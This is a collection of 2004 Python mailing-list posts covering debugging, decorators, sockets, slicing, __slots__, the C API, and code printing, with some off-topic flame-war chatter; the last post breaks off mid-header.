Thu Sep 2 12:13:28 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Thu, 02 Sep 2004 10:13:28 -0600 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <1094141001.125507@teapot.planet.gong> Message-ID: <u4qmgwswn.fsf@mail.comcast.net> Rupert Pigott <roo at try-removing-this.darkboong.demon.co.uk> writes: > Remember NeXTStep ? > >> As for following standards thats just plain sense. >> Note the Mac OS 10 / Darwin uses a unix kernel because of all the >> problems with >> interoperabillity OS 9 had with talking to Windows and Unix boxes. > > Which I believe is derived from a Mach uKernel... The "UNIX" bits > are the FreeBSD userland utilities that surround it. a cmu effort along with various andrew activities and camelot ... minor recent ref: http://www.garlic.com/~lynn/2004h.html#42 Interesting read about upcoming K9 processors -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From db3l at fitlinxx.com Thu Sep 30 19:13:52 2004 From: db3l at fitlinxx.com (David Bolen) Date: 30 Sep 2004 19:13:52 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools References: <mailman.3802.1095960335.5135.python-list@python.org> <QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net> <mailman.3864.1096040439.5135.python-list@python.org> <mfydnUd5Idex1srcRVn-pQ@rogers.com> <tpudnXILROwO88rcRVn-sw@powergate.ca> <mailman.3947.1096250696.5135.python-list@python.org> <kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com> <efidneft_NO8p8XcRVn-tQ@rogers.com> <mailman.3996.1096354841.5135.python-list@python.org> <Ku-dnW4Ddq1O_cTcRVn-tw@rogers.com> <uekkmibrv.fsf@fitlinxx.com> <WZydndBk-MS_OMTcRVn-ug@rogers.com> <u655yi527.fsf@fitlinxx.com> <d_mdnXKL0cmpVMTcRVn-jA@rogers.com> Message-ID: <u7jqb4afj.fsf@fitlinxx.com> "Dan Perl" <danperl at rogers.com> writes: > (...) In my experience with sporadic problems like the ones you are > describing, debuggers are usually not much help, except after the fact, for > instance debugging a core of a C/C++ program. If the problem is caused by a > race condition, a debugger can be useless because it affects the scheduling > of threads. How does the loaded stub work in cases like that? Does it > affect threads in any way? Yes, once the debugger is actually activated (you start up the IDE and it attaches) it's like a normal Python debugger, so it uses the trace hook and will have some impact on runtime. You can finesse this a little by controlling where you import the stub and/or when you connect to the process. Of course, in my experience just about anything you do to try to work with a subtle threading or race condition bug is just as likely to affect the problem (including adding a new line of code), so you can still hope that the problem will simply exhibit itself as well - even if slightly differently - with the debugger attached. Obviously, no guarantees. (the "sre" exception) > It was the only one. My point was that even just this particular exception > should happen very often. So even volume, not only significance, is > relative. I, for one, was not comfortable ignoring an exception, especially > without a very clear and detailed explanation on why the false positive > happened in the first place and what happens with the exception if I ignore > it. I don't really disagree - it would probably be good if this was a well-defined one that Wing came configured to ignore. > > (...) > >> I would need to first see an example of generating an exception without > >> knowing it and that exception still being relevant although it is being > >> handled. > > > > I'd split that into two parts - (a) generating the exception without > > knowing it, and (b) it being relevant even if handled. > > > > For (a), I can't seem to come up with a good concise example, so maybe > > I'll just agree that you may know about, but not be able to act on it (...) > > Note however, that knowing about it in many cases may only be through > > a stderr traceback, so to know it other than manually inspecting it at > > runtime would require trapping stderr in general and logging that > > somewhere, and then having something to recognize tracebacks in that > > log. > > > > (b) is certainly possible though, although at the risk of overuse I'll > > fall back to wxPython again. In wxPython any exception that occurs in > > an event handler will be handled by the wxPython extension, and is > > thus invisible to top level code. (...) > > You're making a very good case, assuming that the exception is at the root > of the problem. However, it's hard to say how many such problems are caused > by an exception. Even if there is an exception, the root problem may be way > before that and you still have to go and do some normal debugging. So many > times I've had memory corruption crashing an application in C++ and I had to > look back at a method that was called WAY BEFORE the crash because that was > usually corrupting memory at exit. Yep, although if you're lucky the form of the corruption at the point of error can help point the way. Also, since pure memory corruption tends to be a rare occurrence in Python (buggy extension modules notwithstanding), even if an exception is due to malformed code earlier on, the actual memory state of the process is generally in good enough shape to go poking around reliably in all your data structures once the exception triggers. > So, in your example of a button, my general debugging approach would still > be to put a breakpoint in the event handler of the button, because the root > of the problem can be so many different things. Sure, but if the button works sometimes and not others, it's just more of a pain to hit the breakpoint over and over again until it happens to get to a state where the problem would occur. > In your experience with Python, what percentage of problems manifested > themselves with exceptions (especially right at the root of the problem) as > opposed to simply flawed logic that gets through without any exceptions? I'd have to separate by older and newer code again. The newer code following a TDD pattern definitely has different characteristics than older legacy code written using more traditional methods. The newer stuff is much less likely to generate either kind of problem except during active development at which point the current test generally points right to the area of potential problem. But I'd have to say that at least for me, for more traditional methods, I do think there's a higher percentage of problems leading to exceptions than to more subtle failures. I'm not entirely sure why except that I expect bugs that in other environments might lead to subtle mistakes (or harder to track problems like eventual crashes from prior memory corruption) quickly end up in some state where you are trying to interpret any object incorrectly in your code and yield an exception. For example, a wrong pathway not constructing an appropriate object type or contents which is then passed into another function anticipating it. In effect, the "duck typing" approach that is commonly used can yield exceptions in pretty quick order if you start messing up the objects involved in your system. Note however that I'm not saying all those exceptions require a debugger or anything more than logging them and/or observing them during development. > I think we are actually very much agreeing. The main difference between us > is how much weight we put in debugging exceptions versus debugging all kinds > of problems and how much we are willing to put up with in exchange for that > precious advantage in a few cases. Yes (to the agreement). And don't let me over-emphasize things, as I'm not necessarily suggesting that the "wait for the exception" is extremely important. It is, however, useful enough to me that I consider supporting it to be a "pro" feature of any Python debugger, and at least for me, yes worth some consequences such as the occasional false positive. > You are saying a solid debugger "can be worth its weight in gold". How much > does Wing IDE weigh? ;-) Heh - good question. 'Course, with gold where it is at the moment, it probably wouldn't have to weigh too much anyway :-) -- David From anthonybaxter at gmail.com Fri Sep 3 05:09:10 2004 From: anthonybaxter at gmail.com (Anthony Baxter) Date: Fri, 3 Sep 2004 19:09:10 +1000 Subject: Are decorators really that different from metaclasses... In-Reply-To: <ch8h4m$ohs$1@sea.gmane.org> References: <loom.20040825T004528-605@post.gmane.org> <mailman.2346.1093432824.5135.python-list@python.org> <b8ad139e.0408251248.1bc0d7bf@posting.google.com> <cgj8f5$t1b$1@sea.gmane.org> <e69d3ed2040826003171d312fc@mail.gmail.com> <412D9F1E.6000809@yahoo.it> <mailman.2413.1093518357.5135.python-list@python.org> <nfnri09co3gbg56uoa61h769bh3n5oulqr@4ax.com> <mailman.2423.1093527121.5135.python-list@python.org> <ietri01h4lg9juja87vl02v8pa7hbh6u3o@4ax.com> <e69d3ed204082607536abfa65c@mail.gmail.com> <cgkuf9$ehg$1@sea.gmane.org> <e69d3ed204082608183634bab@mail.gmail.com> <cglg26$ehg$3@sea.gmane.org> <e69d3ed2040827083448c31d45@mail.gmail.com> <mailman.2548.1093646396.5135.python-list@python.org> <cgosmb$ki0$0$216.39.172.122@theriver.com> <mailman.2562.1093697125.5135.python-list@python.org> <e69d3ed2040 <HBF.20040901iia9@bombur.uio.no> <mailman.2743.1094082018.5135.python-list@python.org> < <10jeuh7o69surc0@corp.supernews.com> <ch8h4m$ohs$1@sea.gmane.org> Message-ID: <e69d3ed20409030209de9043@mail.gmail.com> On Thu, 02 Sep 2004 21:24:42 -0400, Paul Morrow <pm_mon at yahoo.com> wrote: > So I believe that --- whether you're a pythonista or not --- assignments > to magic variables really don't 'look' like normal statements. They > look like they do something special (because they do). You continue to assert this, again and again. Many people have posted replies (including me) saying that actually, they _do_ look like normal statements. Repeatedly asserting otherwise won't change this. From roy at panix.com Wed Sep 15 14:03:57 2004 From: roy at panix.com (Roy Smith) Date: Wed, 15 Sep 2004 14:03:57 -0400 Subject: See exactly what a function has returned References: <ci9tfk$71t$1@solaris.cc.vt.edu> Message-ID: <roy-40BD1F.14035715092004@reader1.panix.com> In article <ci9tfk$71t$1 at solaris.cc.vt.edu>, Brad Tilley <bradtilley at usa.net> wrote: > Is there an easier way to do this: > > def print_whats_returned(function): > print function > print type(function) In the general case, this is not possible. A function can return different things at different times. Consider the following function: def getSomething (): if random.random () < 0.5: return 42 else: return "fourty-two" so what type would you say this returns? From carribeiro at gmail.com Mon Sep 13 09:29:30 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 13 Sep 2004 10:29:30 -0300 Subject: Ideas on self updating software? In-Reply-To: <d52c72d204091119383efe300b@mail.gmail.com> References: <d52c72d204091119383efe300b@mail.gmail.com> Message-ID: <864d3709040913062975445460@mail.gmail.com> On Sat, 11 Sep 2004 21:38:08 -0500, Jaime Wyant <programmer.py at gmail.com> wrote: > Can anyone give me some pointers on writing "self-updating" python > programs? I have an application that is almost ready for beta > testing. I want to be able to fix any bugs and push the updates out. Plase don't. Or -- if you do -- warn your users. Even if this is done inside a company under your full control, it's a good idea. If, at last, you decide that you must do it automatically, do it only at some specific times -- for example, at bootup or when the program is first loaded everyday. But don't 'push' it automatically. Be really careful, because many people don't like the idea of automatic software updates, independent of how good the intentions are. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From maxwell at ldc.upenn.edu Fri Sep 3 08:17:46 2004 From: maxwell at ldc.upenn.edu (Mike Maxwell) Date: Fri, 03 Sep 2004 08:17:46 -0400 Subject: need an idea, recognize sequence, fsm or genetic ? In-Reply-To: <ch73me$8l6n$1@netnews.upenn.edu> References: <63b5e209.0409012321.5850291f@posting.google.com> <ch73me$8l6n$1@netnews.upenn.edu> Message-ID: <ch9n9r$8bi3$1@netnews.upenn.edu> Mike Maxwell wrote: > Joh wrote: > >> here is my trouble, i would to like to write a program which could >> help me to detect sequence of consecutive words in list in a very >> efficient way. > > These repeats are called "tandem arrays." Algorithms for quickly > finding them (and many other useful patterns) are given in Apologies, I just re-read your original post, and (if I understand what you are looking for), it is not tandem arrays. Nevertheless, Gusfield's book is on a whole host of text search problems, and may still give you leads (or even answers). Mike Maxwell From p at ulmcnett.com Mon Sep 27 19:20:02 2004 From: p at ulmcnett.com (Paul McNett) Date: Mon, 27 Sep 2004 16:20:02 -0700 Subject: batch pretty (color) print of python code? In-Reply-To: <cja3q9$h74$1@peabody.colorado.edu> References: <cj9rt8$l3k$1@nrc-news.nrc.ca> <cja3q9$h74$1@peabody.colorado.edu> Message-ID: <200409271620.02318.p@ulmcnett.com> Fernando Perez writes: > You said linux was OK. A simple enscript alias works > wonders: > > planck[python]> which codeprint > codeprint: ein Alias fur enscript -G2rjE --color !* > planck[python]> which codeps > codeps: ein Alias fur enscript -G2rjE --color -o > !*.ps !*; gv !*.ps > > That's what I use for all kinds of source, it does a pretty > decent job with python (and knows about C, C++, perl,...) That's great! Thanks for turning me on to that. Here is the alias I'm now using: alias codeps='enscript -G2rjE --color -o -' This takes input on stdin and sends the output to stdout, so the OP can type: codeps *.py > output.ps and that is pretty close to what the OP wanted (minus recursion). -- Paul McNett Independent Software Consultant http://www.paulmcnett.com From tolot at jupiter.solar-empire.de Fri Sep 24 05:31:07 2004 From: tolot at jupiter.solar-empire.de (Marc Christiansen) Date: Fri, 24 Sep 2004 11:31:07 +0200 Subject: inelegance in calling dynamically created class methods from scripting level References: <41520909$1_5@news3.es.net> <mailman.3823.1095987966.5135.python-list@python.org> Message-ID: <r36d22-ug4.ln1@halut.solar-empire.de> Andrew Durdin <adurdin at gmail.com> wrote: > On Wed, 22 Sep 2004 17:21:16 -0600, Danny Shevitz <shevitz at lanl.gov> wrote: >> # ds.myApply(???something callable???) Can't get to work! > > You need to be able to reference the callable via some name in the > current scope. For 'myPrint' that's easy: > ds.myApply(Item.myPrint) > > For 'hoopty', you can't do that, because in the current scope you > don't have a name bound to any object with the 'hoopty' attribute. But > since you know that the hoopty attribute was bound to the reset > function, you can get the desired effect like this: > ds.myApply(reset) Well, one could use ds.myApply(ds.childClass.hoopty) but this looks strange to me. It asks me: "Do I really want this approach?". Marc From frithiof.jensen at diespammerdie.jensen.tdcadsl.dk Mon Sep 20 03:17:33 2004 From: frithiof.jensen at diespammerdie.jensen.tdcadsl.dk (Frithiof Andreas Jensen) Date: 20 Sep 2004 07:17:33 GMT Subject: python is going to die! =( References: <mailman.3520.1095631846.5135.python-list@python.org> Message-ID: <414e840d$0$192$edfadb0f@dread11.news.tele.dk> julio <julioperezsosa at yahoo.com> wrote in news:mailman.3520.1095631846.5135.python-list at python.org: > I think is a fact, reality , there is just no way python is going to > survive, i would be happy if someone knows or see something i dont , > because i realy like python, Not just *someone* - On the basis of this rant I think the set of people who "someone knows or see something" you don't would include about 85% of the population!! Now, quit trolling and go back to class! From Mark.English at liffe.com Thu Sep 23 05:43:41 2004 From: Mark.English at liffe.com (Mark English) Date: Thu, 23 Sep 2004 10:43:41 +0100 Subject: Distutils and binaries without compilation Message-ID: <40E605146701DE428FAF21286A97D3091480E3@wphexa02.corp.lh.int> > Mark English wrote: > > Who to believe... > both. funny eh? > > Depends of which source code the C or the python one > did you not want to be included in the distribution. > > Istvan. I wany all python code to be included in the distribution, and all c-extensions, but no c source code. Am I right in thinking that bdist (and bdist_wininst) would include the c-extensions without the souce code if I had configured the setup.py to include the Extensions objects for the c-extensions (which really isn't feasible in this case). i.e. If it were capable of doing an sdist then it could do a bdist ? Mark ----------------------------------------------------------------------- The information contained in this e-mail is confidential and solely for the intended addressee(s). Unauthorised reproduction, disclosure, modification, and/or distribution of this email may be unlawful. If you have received this email in error, please notify the sender immediately and delete it from your system. The views expressed in this message do not necessarily reflect those of LIFFE Holdings Plc or any of its subsidiary companies. ----------------------------------------------------------------------- From daniel.dittmar at sap.corp Thu Sep 16 05:57:41 2004 From: daniel.dittmar at sap.corp (Daniel Dittmar) Date: Thu, 16 Sep 2004 11:57:41 +0200 Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change In-Reply-To: <cibkl1$395$07$1@news.t-online.com> References: <cibkl1$395$07$1@news.t-online.com> Message-ID: <cibo2l$gq$1@news1.wdf.sap-ag.de> Peter Otten wrote: > Anthony Baxter asked me for a pronouncement on whether @decorator will > change to use some other character instead; I kept this open as a And if will be pronounced - mouche (= french for beauty spot): if you like the syntax - wart: if you don't Daniel From russblau at hotmail.com Tue Sep 7 09:42:08 2004 From: russblau at hotmail.com (Russell Blau) Date: Tue, 7 Sep 2004 09:42:08 -0400 Subject: SOS - property question References: <mailman.2975.1094563441.5135.python-list@python.org> Message-ID: <2q5s5gFrvnhpU1@uni-berlin.de> "kepes.krisztian" <kepes.krisztian at peto.hu> wrote in message news:mailman.2975.1094563441.5135.python-list at python.org... > > See that code: > class A(object): > __slots__=('x','a','__v') > def __init__(self): > self.__v=0 ... > Another question: why the __slots__ is working only if this member is in > body of A ? > Why isn't when it is in the __init__ procedure ? > > def __init__(self): > self.__v=0 > __slots__=('x','a','__v') > I can't answer your first question, but I can the second. In the first piece of code, you have defined __slots__ (correctly) as an attribute of the class A. In the second piece, you have created a local variable called __slots__ within the __init__() method. As soon as the __init__ method returns, that local variable is gone!! Changing it to self.__slots__ wouldn't work either, because that would define an attribute of the *instance*, not of the *class*. Slots and properties belong to the class, not to its instances. -- I don't actually read my hotmail account, but you can replace hotmail with excite if you really want to reach me. From mg.mailing-list at laposte.net Thu Sep 30 03:56:52 2004 From: mg.mailing-list at laposte.net (mg) Date: Thu, 30 Sep 2004 08:56:52 +0100 Subject: Constant variable and API Message-ID: <415BBC44.4000205@laposte.net> Hi everybody... I am using Python API in order to create bindings. So, in the init function of my module, I create constants : PyMODINIT_FUNC initMyModule( void ) { PyObject* module = Py_InitModule3( "MyModule", 0, "this is my module" ) ; if( ! module ) return ; PyObject* dict = PyModule_GetDict( module ) ; if( ! dict ) return ; long value = 0 ; // for the example PyObject* py_value = PyInt_FromLong( value ) ; char* name = "NULL" ; PyDict_SetItemString( dict, name, py_value ) ; Py_DECREF( py_value ) ; } So, my first "problem" is that my module variable is mutable; I can write the following instruction in python : >>> import MyModule >>> null = MyModule.NULL >>> print null 0 >>> MyModule.NULL = 99 >>> null = MyModule.NULL >>> print null 99 Then, my question is : how can I implement a constant variable from the API in order to the reaffectation (MyModule.NULL = 99) of my variable be impossible ? Thanks for your help. Mathieu From michele.simionato at gmail.com Wed Sep 1 22:29:21 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 1 Sep 2004 19:29:21 -0700 Subject: txt2xls References: <4edc17eb.0408310401.6abf866c@posting.google.com> <ch1qdd$jd0$1@online.de> Message-ID: <4edc17eb.0409011829.6c7b5bc8@posting.google.com> Benjamin Niemann <b.niemann at betternet.de> wrote in message news:<ch1qdd$jd0$1 at online.de>... > Perhaps this could help you: > http://sourceforge.net/projects/pyxlwriter/ > Thank you! The distribution contains an example that does exactly what I want (with minor changes). I report here a snippet just for future reference: import pyXLWriter as xl workbook = xl.Writer(xlsfilename) worksheet = workbook.add_worksheet() nrow = 0 for chunk in file(textfile).read().split("\n====\n"): row = chunk.split('\n\n') # Split on empty line for ncol, cell in enumerate(row): worksheet.write([nrow, ncol], cell.strip()) nrow += 1 workbook.close() # needed From heikowu at ceosg.de Sun Sep 19 08:17:52 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Sun, 19 Sep 2004 14:17:52 +0200 Subject: win32api.SetCursorPos() question In-Reply-To: <10kp7cg7au8pn20@corp.supernews.com> References: <10kol21ah3ulpcc@corp.supernews.com> <cihmfj$3r8$1@news5.zwoll1.ov.home.nl> <10kp7cg7au8pn20@corp.supernews.com> Message-ID: <200409191417.52373.heikowu@ceosg.de> Am Samstag, 18. September 2004 22:41 schrieb Gary Richardson: > I tried that. It doesn't produce an error but no cursor appears. I don't know much about the win32-api, but SetCursorPos sounds like a text-console command, not like something that has to do with windows. Funtions that operate on a window take a HWND (window handle), but this function doesn't, so this certainly sounds like text-console. Now, why are you trying to position the cursor in a Tk Window anyway? The Tk-Window is no text console, it's just a plain window on the screen, and you can draw in the window using the normal Tk drawing primitives. Maybe, if you post some more info on what you're trying to do, can we help you better... Heiko. From firstname at lastname.pr1v.n0 Mon Sep 13 08:37:01 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Mon, 13 Sep 2004 14:37:01 +0200 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <du73c1mk70b.fsf@mozart.cc.tut.fi> Message-ID: <d944ic.o5e.ln@via.reistad.priv.no> In article <du73c1mk70b.fsf at mozart.cc.tut.fi>, Ville Vainio <ville at spammers.com> wrote: >>>>>> "Grant" == Grant Edwards <grante at visi.com> writes: > > Grant> shit about international agreements? Bush thinks he's > Grant> entitled to declare anybody and everybody an "enemy > Grant> combatant" and lock them up in secret forever. Add a > Grant> moustache and he'd make a pretty good Stalin. > >I'll raise you a Hitler, in a (probably vain) attempt to invoke the >Godwin's law. OK, I'll raise that with a Ghengis Khan and a Pol Pot. -- mrr From narshe at gmail.com Wed Sep 15 12:57:15 2004 From: narshe at gmail.com (Josh Close) Date: Wed, 15 Sep 2004 11:57:15 -0500 Subject: socket programming In-Reply-To: <1095266953.414872898f601@www-mail.usyd.edu.au> References: <1095266953.414872898f601@www-mail.usyd.edu.au> Message-ID: <4a0cafe20409150957369086fd@mail.gmail.com> Use asynchore/asynchat modules. They will do all that stuff for you. http://docs.python.org/lib/module-asyncore.html http://docs.python.org/lib/module-asynchat.html -Josh On Thu, 16 Sep 2004 02:49:13 +1000, Ajay <abra9823 at mail.usyd.edu.au> wrote: > hi! > > on my client side, i have a socket that sends and then receives > the code is > s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > s.connect((PDA_ADDRESS, PDA_PORT)) > s.send("persona=") > s.send(persona) > s.send("\n") > str = s.recv(1024) > data="" > while len(str) != 0: > data += str > str = s.recv(1024) > print data > > on my server side i create the serversocket, listen, get the client socket > and the client socket receives the data as follows > (clientsocket, address) = serversocket.accept() > str = clientsocket.recv(256) > data="" > while len(str) != 0: > data += str > str = clientsocket.recv(256) > > the problem is when my client finished sending and waits to receive, on the > server side, it still stays in the while loop waiting to receive more data. > > how do i stop that? > > thanks > > ---------------------------------------------------------------- > This message was sent using IMP, the Internet Messaging Program. > -- > http://mail.python.org/mailman/listinfo/python-list > From russblau at hotmail.com Wed Sep 1 14:35:53 2004 From: russblau at hotmail.com (Russell Blau) Date: Wed, 1 Sep 2004 14:35:53 -0400 Subject: negative stride list slices References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <r7oZc.6653$MR2.32885@news1.mts.net> Message-ID: <2pmj4aFmofl2U1@uni-berlin.de> "Reid Nichol" <rnichol_rrc at yahoo.com> wrote in message news:r7oZc.6653$MR2.32885 at news1.mts.net... > David Abrahams wrote: > > Can anyone explain the logic behind the behavior of list slicing with > > negative strides? For example: > > > > >>> print range(10)[:-3:-1] > > [9,8] > > > > I found this result very surprising, and would just like to see the > > rules written down somewhere. > http://www.python.org/doc/current/tut/node5.html#SECTION005120000000000000000 You probably meant to reference the next section (that bookmark relates to strings, the next one is lists), but in either case none of the examples in the tutorial has yet been updated to deal with slices that include a "stride" as a third parameter. -- I don't actually read my hotmail account, but you can replace hotmail with excite if you really want to reach me. From apardon at forel.vub.ac.be Fri Sep 3 03:24:30 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 3 Sep 2004 07:24:30 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <cgn73r$scr$1@nntp0.reith.bbc.co.uk> <mailman.2515.1093608707.5135.python-list@python.org> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <zILXc.54863$xi6.26091@fe2.texas.rr.com> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> <slrncj8kv2.kp.apardon@trout.vub.ac.be> <slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au> <slrncj94hr.kp.apardon@trout.vub.ac.be> <du7oekrnwc8.fsf@amadeus.cc.tut.fi> <slrncjaq3l.kp.apardon@trout.vub.ac.be> <pan.2004.09.01.12.03.39.285610@jerf.org> <slrncje0vr.7or.apardon@rcpc42.vub.ac.be> <mailman.2788.1094157913.5135.python-list@python.org> Message-ID: <slrncjg73r.7or.apardon@rcpc42.vub.ac.be> Op 2004-09-02, Terry Reedy schreef <tjreedy at udel.edu>: > > "Antoon Pardon" <apardon at forel.vub.ac.be> wrote >> My experience is that in such a situation, especially >> if the local functions grows of you have more >> local functions it can become hard to see where the body >> of the global function begins. Just looking at the >> deindentation is not enough because that could be the >> result of a control suite that ended. Using an endmarker >> like #def can make finding the beginning of the main >> function a lot easier and so make the code more readable >> and maintainable. > > This is what I might do, except maybe as #enddef > > and in another message >> Python seems to do its best so that there is only one way to >> do things. Python seems also to do its best force people >> to write readable easily maintainable code. Since end markers >> can be a tool in this and the only way to have only one way >> to do this is if the language includes it, So why doesn't >> python has them. > > Python does -- a dedent. That is IMO not an endmarker, or at least not an explicit one. If it was explicit you couldn't be confused between thinking a certain code was dedented three or four times. > For humans, this can be supplemented -- as you > suggested above -- with an ending comment, with specific format chosen by > the programmer. The specific form is irrelevant to the interpreter and any > sensible form should be generally readable. But I thought python wanted to provide as much as possible only one correct way to do things. > I agree with others that nesting can be reduced by extracting and naming > appropriate chunks of code, I agree with you that as an independent > programmer you have no obligation to do so. But I do not see your choice > as a reason to add a third endmarker. Not do I see a need to 'standardize' > comments used as such. It is not about my choice. I'll get by whatever the outcome. Just as I in general write proper indented code even in languages that don't enforce it. I just find it odd that a language that tries to enforce readablity does't include end markers, who IMO increase readability. -- Antoon Pardon From bokr at oz.net Thu Sep 30 13:45:38 2004 From: bokr at oz.net (Bengt Richter) Date: 30 Sep 2004 17:45:38 GMT Subject: List comprehensions performance References: <278de0e.0409291441.4ef0a859@posting.google.com> <IuP6d.4170$6f.1874@trndny02> <1gkxa0o.1l5eyr0128x6mbN%aleaxit@yahoo.com> Message-ID: <cjhgo2$8o4$0$216.39.172.122@theriver.com> On Thu, 30 Sep 2004 10:55:52 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >Raymond Hettinger <vze4rx4y at verizon.net> wrote: > >> [Neuruss] What I'd like to know is if using list comprehensions would give >> me a > performance advantage over traditional for loops or not. >> >> For Py2.4, list comprehensions are much faster than equivalent for-loops. > >...but if the for loop is NOT equivalent (it doesn't accumulate results >into a resulting list), it's still faster. As I posted: > >kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' 'for x in >xrange(999): f()' >1000 loops, best of 3: 1.29e+03 usec per loop >kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' '[f() for x in >xrange(999)]' >1000 loops, best of 3: 1.45e+03 usec per loop > >the LC is paying for the building of a list of 999 references to None, >which the for loop easily avoids, so the for loop is much faster here. > What if you abuse the LC so it makes an empty list? E.g., [None for x in xrange(999) if f() and False] Not that I'm trying to promote LC abuse ;-) Regards, Bengt Richter From lynn at garlic.com Fri Sep 3 17:34:39 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Fri, 03 Sep 2004 15:34:39 -0600 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> Message-ID: <uoeknqbo0.fsf@mail.comcast.net> Alan Balmer <albalmer at att.net> writes: > I'm not a fan of Mr Hatch, but blaming him for the shuttle disaster(s) > is somewhat over the top. Why not blame President Bush? That's the > popular thing nowadays. i never made any referrence to people or personalities ... somebody else did. i just repeated the claims after the disaster about majority of the other launch things were single section and barged to the launch site (as well as the alternative booster proposals). the issue of the gaskets is pretty well established as being required for the sectional manufactoring ... predicated on the dimensional restrictions on overland train transportation ... that was perceived to have been a pretty unique ... when other major deliverables have been built in single section and barged to launch site. from a purely fucntional standpoint to somebody's leap with regard to personabilities ... is somebody else's doing. i would say that any argument about the personality issues ... shouldn't creap into purely straight forward issue about whether all manufactoring assemblies require sectioning because of transportation restrictions. lots of assemblies are made in single sections and barged to florida. i can see taking issue with somebody (else) over their possible personality assertions ... but that shouldn't also result in comments about whether sectioning is required for all possible modes of transportation. -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From grante at visi.com Tue Sep 14 00:59:54 2004 From: grante at visi.com (Grant Edwards) Date: 14 Sep 2004 04:59:54 GMT Subject: Using Python instead of DOS shell scripts References: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com> Message-ID: <41467aca$0$65562$a1866201@newsreader.visi.com> On 2004-09-14, Jeff Wagner <JWagner at hotmail.com> wrote: > I have a project of converting numerous DOS cmd shell scripts > to Python. Is there a tutorial to getting started? Yes. Try looking at www.python.org. Or maybe google for "python tutorial"? -- Grant Edwards grante Yow! Is it FUN to be at a MIDGET? visi.com From db3l at fitlinxx.com Thu Sep 30 13:59:32 2004 From: db3l at fitlinxx.com (David Bolen) Date: 30 Sep 2004 13:59:32 -0400 Subject: Unexpected Python Behavior References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> <mailman.3834.1096015522.5135.python-list@python.org> <RImdnbz2hMm7v8ncRVn-qg@lmi.net> <cj18jn$47n$1@pegasus.csx.cam.ac.uk> <2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com> <1gkpsyw.16zk21c1hoc4taN%aleaxit@yahoo.com> <2s1cetF1emgg9U1@uni-berlin.de> Message-ID: <uk6ub4ozf.fsf@fitlinxx.com> Greg Ewing <greg at cosc.canterbury.ac.nz> writes: > Alex Martelli wrote: > > I think it's in fact very nice syntax: > > def f(x, cache=[]): > > if x in cache: ... > > No, it's not, because it suggests that cache is > intended to be an optional parameter, whereas it > probably isn't. Depends - I'd probably read that just as you say - it's an optional parameter. But why assume it probably isn't intended that way. If I want to use my own cache I pass it in, otherwise I expect the function to have a default cache that it will use for me. -- David From steve at holdenweb.com Thu Sep 16 10:38:42 2004 From: steve at holdenweb.com (Steve Holden) Date: Thu, 16 Sep 2004 10:38:42 -0400 Subject: Steve Holden: mail problem? (was Re: list/tuple to dict...) In-Reply-To: <4149982B.1080406@engcorp.com> References: <20040915163909.4234ce31@gypsy.pfortin.com> <1gk7a4p.9bjbrs173syhqN%aleaxit@yahoo.com> <Zmg2d.5818$Xc.5455@lakeread01> <4149982B.1080406@engcorp.com> Message-ID: 